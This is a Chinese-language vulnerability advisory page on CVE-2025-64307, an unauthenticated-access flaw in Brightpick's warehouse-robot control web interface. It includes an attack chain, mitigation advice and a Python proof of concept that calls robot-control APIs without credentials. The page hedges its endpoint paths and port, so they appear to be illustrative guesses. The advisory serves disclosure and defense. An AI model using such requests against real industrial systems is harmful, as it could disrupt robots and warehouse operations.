IPBUF安全漏洞报告
English
CVE-2025-64307 CVSS 6.5 中危

CVE-2025-64307 Brightpick内部逻辑控制系统未授权访问漏洞

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-64307
漏洞类型
未授权访问
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Brightpick Internal Logic Control web interface

相关标签

未授权访问身份验证绕过工业控制系统Brightpick仓储自动化机器人控制OT安全ICS漏洞

漏洞概述

CVE-2025-64307是Brightpick公司内部逻辑控制系统(Internal Logic Control)的安全漏洞。该系统是Brightpick仓储自动化解决方案的核心组件,负责控制仓库机器人的各项操作功能。漏洞源于系统web界面缺乏有效的身份认证机制,导致任何网络可达的用户都可以直接访问并操控系统功能。攻击者无需任何凭据即可利用此漏洞对机器人控制系统进行非法操作,包括启动或停止runner(运输单元)、分配工作任务、清除站点数据、部署存储箱等关键功能。此漏洞的CVSS评分为6.5,属于中危级别,攻击向量为邻接网络,意味着攻击者需要在与目标系统相同的网络段内(如工厂内网)才能发起攻击。虽然机密性和可用性影响较低,但完整性影响为高,攻击者可以完全控制机器人操作,可能导致仓储流程混乱、货物损坏或生产中断。漏洞由美国国土安全部ICS-CERT协调披露,建议受影响用户立即采取缓解措施。

技术细节

Brightpick内部逻辑控制系统采用B/S架构设计,其web管理界面在部署时未正确配置身份认证模块,导致所有HTTP/HTTPS端点完全开放。系统采用RESTful API设计,提供了机器人控制相关的多个API接口,包括:runner管理接口(启动/停止runner)、任务调度接口(job assignment)、站点管理接口(clear stations)、仓储操作接口(deploy storage totes)。由于缺少认证中间件和会话管理机制,攻击者可以直接构造HTTP请求调用这些API端点。系统后端通过工业通信协议(如Modbus TCP或OPC UA)与机器人控制器交互,将恶意指令直接下发至执行层。攻击者可以通过发送特定格式的JSON请求包来操控机器人行为,例如发送{"action":"start_runner","runner_id":"xxx"}来启动指定的runner单元。由于系统未实施任何输入验证或权限检查,攻击者可以批量执行操作指令,造成大规模仓储系统异常。此漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别,暴露了系统访问控制设计的严重缺陷。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者对目标网络进行扫描,发现Brightpick内部逻辑控制系统的web管理界面暴露在邻接网络中,识别出开放的HTTP/HTTPS端口(默认8080)
STEP 2
步骤2: 接口发现
通过访问系统API端点或浏览web界面,攻击者识别出机器人控制相关的REST API接口路径,如/api/control/runner、/api/scheduler/job等
STEP 3
步骤3: 未授权访问验证
攻击者直接向系统API端点发送HTTP请求,验证系统是否需要身份认证。由于系统缺少认证机制,请求被直接处理
STEP 4
步骤4: 机器人控制操作
攻击者通过API接口执行恶意操作,包括发送启动runner、分配任务、清除站点等指令,直接控制仓库机器人行为
STEP 5
步骤5: 影响扩大
攻击者批量执行控制指令,可能导致仓储流程混乱、机器人碰撞、货物损坏或生产线中断等严重后果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64307 PoC - Brightpick ILC Unauthenticated Access # Target: Brightpick Internal Logic Control web interface TARGET_IP = "192.168.1.100" TARGET_PORT = 8080 BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def start_runner(runner_id): """Start a specific runner unit""" endpoint = f"{BASE_URL}/api/control/runner/start" payload = {"runner_id": runner_id} response = requests.post(endpoint, json=payload) return response.json() def stop_runner(runner_id): """Stop a specific runner unit""" endpoint = f"{BASE_URL}/api/control/runner/stop" payload = {"runner_id": runner_id} response = requests.post(endpoint, json=payload) return response.json() def assign_job(job_id, station_id): """Assign a job to a station""" endpoint = f"{BASE_URL}/api/scheduler/job/assign" payload = {"job_id": job_id, "station_id": station_id} response = requests.post(endpoint, json=payload) return response.json() def clear_station(station_id): """Clear all data from a station""" endpoint = f"{BASE_URL}/api/station/clear" payload = {"station_id": station_id} response = requests.post(endpoint, json=payload) return response.json() def deploy_tote(tote_id, location): """Deploy storage tote to specified location""" endpoint = f"{BASE_URL}/api/storage/deploy" payload = {"tote_id": tote_id, "location": location} response = requests.post(endpoint, json=payload) return response.json() # Example: Exploit the vulnerability if __name__ == "__main__": print("[+] Testing CVE-2025-64307 - Unauthenticated access") # No authentication required - directly call control APIs result = start_runner("runner_001") print(f"[+] Start runner result: {result}") result = assign_job("job_500", "station_A1") print(f"[+] Assign job result: {result}") result = clear_station("station_B2") print(f"[+] Clear station result: {result}")

影响范围

Brightpick Internal Logic Control (ILC) - 所有未修复版本

防御指南

临时缓解措施
由于该漏洞无需认证即可利用,在官方补丁发布前,建议采取以下临时缓解措施:1) 立即将Brightpick ILC系统网络隔离,置于独立的VLAN中,限制只有授权设备才能访问;2) 在网络边界部署防火墙或IPS设备,监控和阻止对8080端口的异常访问;3) 实施网络分段策略,将OT网络与IT网络严格隔离;4) 禁用不必要的web管理接口,仅保留必要的控制功能;5) 启用网络流量监控和日志审计,及时发现异常操作行为;6) 与Brightpick厂商联系获取固件更新和安全配置指导。建议优先考虑物理隔离和访问控制,待官方补丁发布后立即进行系统升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表